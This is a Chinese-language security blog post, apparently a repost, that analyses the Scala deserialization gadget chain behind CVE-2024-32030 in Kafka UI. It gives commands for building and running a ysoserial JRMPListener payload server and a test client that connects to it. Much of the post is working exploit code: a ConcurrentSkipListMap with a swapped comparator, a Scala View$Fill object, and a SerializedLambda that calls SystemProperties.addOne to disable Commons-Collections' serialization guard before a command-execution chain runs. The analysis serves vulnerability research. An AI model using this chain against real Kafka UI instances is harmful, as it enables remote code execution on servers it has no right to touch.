CVE-2024-32030 Scala反序列化链分析

admin 2024年7月19日08:48:15评论32 views字数 9988阅读33分17秒阅读模式

前言

Kafka UI是Apache Kafka管理的开源Web UI。Kafka UI API允许用户通过指定网络地址和端口连接到不同的Kafka brokers。作为一个独立的功能,它还提供了通过连接到其JMX端口监视Kafka brokers性能的能力。本文主要对其中使用到的Scala反序列化链进行分析

搭建测试环境

1、首先需要设置一个恶意的JMX监听器,通过ysoserial生成一个带有有效载荷的序列化对象

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

CVE-2024-32030 Scala反序列化链分析

 

2、在github上下载kafka-ui-0.7.1版本的源码,通过该项目来搭建本地测试环境就不需要考虑依赖的导入问题

https://codeload.github.com/provectus/kafka-ui/zip/refs/tags/v0.7.1

在项目目录下新建一个测试demo文件,在测试代码中模拟了Kafka UI连接到JMX服务器的过程

package com.provectus.kafka.ui;

import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class jmxdemo {
public static void main(String[] args) throws Exception {
System.out.println("Before:" + System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"));

String jmxUrl = "service:jmx:rmi:///jndi/rmi://192.168.85.129:1718/jmxrmi";

JMXConnector connector = null;
try {
// 创建JMX连接器
connector = JMXConnectorFactory.newJMXConnector(new JMXServiceURL(jmxUrl), null);
connector.connect();

} catch (Exception e) {
e.printStackTrace();
}
System.out.println("After:" + System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"));
}
}

分析过程

在Kafka UI中提供了一个通过JMX端口来监控Kafka代理性能的功能,JMX基于RMI协议,因此它很容易受到反序列化攻击。

系统中还存在Commons-Collections-3.2.2依赖,在CVE-2024-32030中,攻击者可以部署一个恶意的JMX服务器,当Kafka UI连接到恶意服务器时就会触发反序列化CC链达到命令执行的目的。而Commons-Collections-3.2.2相较于之前的版本增加了一个安全检查,当反序列化时要求系统属性“org.apache.commons.collections.enableUnsafeSerialization”的值为true,而该属性的默认值为null,所以就需要通过scala这条反序列化链先修改org.apache.commons.collections.enableUnsafeSerialization的值为true

通过System.getProperty()可以获取属性的值,执行上面的测试代码后可以看到成功修改了org.apache.commons.collections.enableUnsafeSerialization的值为true

System.getProperty("org.apache.commons.collections.enableUnsafeSerialization")

CVE-2024-32030 Scala反序列化链分析

 

Lambda表达式

lambda表达式是Java8引入的一个新特性,它是一种简洁的表达式,用于创建匿名函数,所谓的匿名函数也就是没有函数名,只定义了函数的参数列表、返回类型和函数体

在下面的测试代码中使用了传统的匿名内部类和Lambda表达式来对两个数进行计算,在定义时BiFunction<Integer, Integer, Integer>表示接收两个Int类型的参数以及有一个Int类型的返回值。

在匿名类中由于使用了BiFunction接口,所以必须实现该接口里的apply()方法,因此在下面的例子中调用到Lambda表达式时,是通过runnable2.apply()的形式去调用的

public static void main(String[] args) {
    // 使用传统的匿名内部类
    BiFunction<Integer, Integer, Integer> runnable1 = new BiFunction<Integer, Integer, Integer>() {
        @Override
        public Integer apply(Integer a, Integer b) {
            return a + b;
        }
    };

// 使用 Lambda 表达式
BiFunction<Integer, Integer, Integer> runnable2 = (a, b) -> a * b;

// 测试
int result1 = runnable1.apply(3, 4);
int result2 = runnable2.apply(3, 4);

System.out.println("Result1: " + result1); // 输出: Result1: 7
System.out.println("Result2: " + result2); // 输出: Result2: 12

}

 


CVE-2024-32030 Scala反序列化链分析

 

 

SerializedLambda

SerializedLambda类主要用于Java内部的Lambda表达式序列化和反序列化过程,它是一个用来表示Lambda表达式元数据的类,下面给出了一段测试代码,通过这段代码可以通过SerializedLambda类来获取Lambda表达式的元数据

package org.example.scala;

import java.io.*;
import java.lang.invoke.*;
import java.lang.reflect.Method;
import java.util.function.BiFunction;

// 创建一个扩展 BiFunction 并实现 Serializable 的接口
@FunctionalInterface
interface SerializableBiFunction<T, U, R> extends BiFunction<T, U, R>, Serializable {}

public class SerializedLambdaDemo2 {

public static void main(String[] args) throws Exception {
// 创建一个简单的 lambda 表达式
SerializableBiFunction<Integer, Integer, Integer> runnable2 = (a, b) -> a * b;

// 获取 SerializedLambda 对象
SerializedLambda serializedLambda = serializeLambda(runnable2);

// 打印 SerializedLambda 的元数据
System.out.println("Capturing class: " + serializedLambda.getCapturingClass());
System.out.println("Functional interface class: " + serializedLambda.getFunctionalInterfaceClass());
System.out.println("Functional interface method name: " + serializedLambda.getFunctionalInterfaceMethodName());
System.out.println("Functional interface method signature: " + serializedLambda.getFunctionalInterfaceMethodSignature());
System.out.println("Implementation class: " + serializedLambda.getImplClass());
System.out.println("Implementation method name: " + serializedLambda.getImplMethodName());
System.out.println("Implementation method signature: " + serializedLambda.getImplMethodSignature());
System.out.println("Implementation method kind: " + serializedLambda.getImplMethodKind());
System.out.println("Instantiated method type: " + serializedLambda.getInstantiatedMethodType());
}

private static SerializedLambda serializeLambda(Serializable lambda) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(lambda);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object deserialized = ois.readObject();
ois.close();

Method writeReplace = deserialized.getClass().getDeclaredMethod("writeReplace");
writeReplace.setAccessible(true);
return (SerializedLambda) writeReplace.invoke(deserialized);
}
}

简单来说,SerializedLambda类就是通过初始化元数据的方式来存储Lambda表达式,它包含了Lambda表达式的元数据信息,通过这些元数据,可以在需要时反序列化SerializedLambda对象重新构造出原始的 lambda 实例。

捕获类 (capturingClass):表示定义 lambda 表达式的类。
函数接口类 (functionalInterfaceClass):表示 lambda 表达式实现的函数式接口。
函数接口方法名称 (functionalInterfaceMethodName):表示函数式接口中被实现的方法名称。
函数接口方法签名 (functionalInterfaceMethodSignature):表示函数式接口中被实现的方法签名。
实现类 (implClass):表示实际实现 lambda 表达式逻辑的类。
实现方法名称 (implMethodName):表示实际实现 lambda 表达式逻辑的方法名称。
实现方法签名 (implMethodSignature):表示实际实现 lambda 表达式逻辑的方法签名。
实现方法类型 (implMethodKind):表示方法调用的类型,如静态方法调用 (invokeStatic) 等。
实例化方法类型 (instantiatedMethodType):表示 lambda 表达式的方法类型。
捕获的参数 (capturedArgs):表示 lambda 表达式中捕获的参数。

CVE-2024-32030 Scala反序列化链分析

exp分析

先在ConCurrentHashMap#putVal()下断点调试看一下调用过程,当执行到断点处时,可以看到org.apache.commons.collection.enableUnsafeSerialization的值已经被修改为true了,从左下角可以得到程序调用栈

CVE-2024-32030 Scala反序列化链分析

 

调用栈如下

ConcurrentSkipListMap#readObject()
ConcurrentSkipListMap#cpr()
ConcurrentSkipListMap#compare()
Iterator#next()
SystemProperties#addOne()
System#setProperty()
Properties#setProperty()
Properties#put()
ConCurrentHashMap#put()
ConcurrentHashMap#putVal()

首先看exp的第一部分,先使用虚拟比较器(o1, o2)-> 1初始化ConcurrentSkipListMap

ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);

// 将view对象以键值对的形式添加到已经初始化的map对象中
map.put(view, 1);
map.put(view, 2);

// 通过反射修改map对象中comparator属性的值,将该值修改为iterableOrdering,iterableOrdering是一个对象
Field f = map.getClass().getDeclaredField("comparator");
f.setAccessible(true);
f.set(map, iterableOrdering);

1、反序列化时首先会调用到ConcurrentSkipListMap的readObject(),所以先跟进到该方法下,for循环从输入流中遍历读取map对象中键值对key和value的值,我们目的是要进入cpr(cmp,prevkey,k)中,调用到cpr()的前提条件是要prevkey!=null

2、但是prevKey初始化的值为null,因此for循环次数要大于等于两次,才能调用到下面prevKey=k,令prevkey的值不为null调用到cpr(),所以在exp中才需要map.put()执行两次,在map中存入两个键值对

3、在exp中,我们将comparator字段的值修改成了iterableOrdering对象,接着调用了cpr(),参数是comparator、prevKey和k

CVE-2024-32030 Scala反序列化链分析

iterableOrdering变量是通过Java反射机制创建的一个Scala类Ordering.IterableOrdering的实例对象,所以cmp的值实际上就是iterableOrdering对象

clazz = Class.forName("scala.math.Ordering$IterableOrdering");
ctor = rf.newConstructorForSerialization(
    clazz, StubClassConstructor.class.getDeclaredConstructor()
);

Object iterableOrdering = ctor.newInstance();

跟进到ConcurrentSkipListMap#cpr()中,程序会调用c.compare(x,y),这里传递的参数x,y就是map.put()是添加的键值view对象

// view也是通过Java反射机制创建的一个scala类View.Fill实例对象
Class<?> clazz = Class.forName("scala.collection.View$Fill");
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));

CVE-2024-32030 Scala反序列化链分析

 

 

c.compare()会跟进到scala.math.Order#compare()下,根据调用栈来看,会调用到xe.next(),会进入到iterator.next()

CVE-2024-32030 Scala反序列化链分析

 

 

跟进到Iterator#next(),if语句成立,调用到elem$4.apply()

CVE-2024-32030 Scala反序列化链分析

 

 

现在已经成功跟进到next()了,再来看exp中最后一部分代码,也是最关键的代码

Class<?> clazz = Class.forName("scala.collection.View$Fill");

// 通过反射获取Fill类的构造方法,接着通过newInstance()创建实例对象
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));

现在看一下ctor.newInstance()创建对象时的构造方法,传入了两个参数,一个参数类型是int,一个参数类型为Function0

上面我们跟进到next()下调用this.elem$4.apply(),而this->elem$4的值实际上就是我们在初始化view对象时createFuncFromSerializedLambda(lambdaSetSystemProperty)的返回值

CVE-2024-32030 Scala反序列化链分析

 

 

 

分析到下面这段exp代码是不是感觉很熟悉,这不就是我们在上面提到过的SerializedLambda类就是通过初始化元数据的方式来存储Lambda表达式

private static Object createFuncFromSerializedLambda(SerializedLambda serialized) throws IOException, ClassNotFoundException {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(serialized);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
return ois.readObject();
}

Tuple2 prop = new scala.Tuple2<>(key, value);
// Should be: 142951686315914362
long versionUID = ObjectStreamClass.lookup(scala.Tuple2.class).getSerialVersionUID();
System.out.println("VersionUID: " + versionUID);

SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,
"scala/Function0", "apply", "()Ljava/lang/Object;",
MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",
"$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",
"()Lscala/sys/SystemProperties;", new Object[]{prop});

Class<?> clazz = Class.forName("scala.collection.View$Fill");
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));

那么将SerializedLambda对象反序列化之后就会得到Lambda表达式,所以得到类似下面的表达式

Tuple2<String, String> prop = new Tuple2<>("org.apache.commons.collections.enableUnsafeSerialization", "true");

Function0<String> lambdaSetSystemProperty = () -> {
SystemProperties properties = new SystemProperties();
properties.addOne(prop);
return prop._2;
};

那么当调用到this.elem$4.apply()时就会调用到Lambda表达式里面的代码逻辑,也就是调用SystemProperties类下的addOne()

Function0<String> lambdaSetSystemProperty = () -> {
    SystemProperties properties = new SystemProperties();
    properties.addOne(prop);
    return prop._2;
};

CVE-2024-32030 Scala反序列化链分析

 

 

 

来到addOne()之后后面就简单了,单步调试跟进到SystemProperties.putVal()方法下,在这里调用到carTabAt()

CVE-2024-32030 Scala反序列化链分析

 

 

跟进到casTabAt()下,这里调用了Unsafe类的compareAndSetReference()方法,它提供了对低级别、不安全操作的支持,比如直接内存访问、对象操作、线程调度、属性修改,调用到U.compareAndSetReference()之后就会成功修改org.apache.commons.collections.enableUnsafeSerialization属性的值为true

CVE-2024-32030 Scala反序列化链分析

 

 

CVE-2024-32030 Scala反序列化链分析

 

至此,Scala利用链的构造过程已经分析完毕,通过这条利用链已经成功修改了org.apache.commons.collection.enableUnsafeSerialization的值,没有了限制就可以使用CC链执行命令了

参考

https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/

转自:https://xz.aliyun.com/t/15027time__1311=Gqjxuiq4nDlx0nD2DUxYwnY5d4OxmqcmD

 

原文始发于微信公众号(船山信安):CVE-2024-32030 Scala反序列化链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月19日08:48:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-32030 Scala反序列化链分析https://cn-sec.com/archives/2972600.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息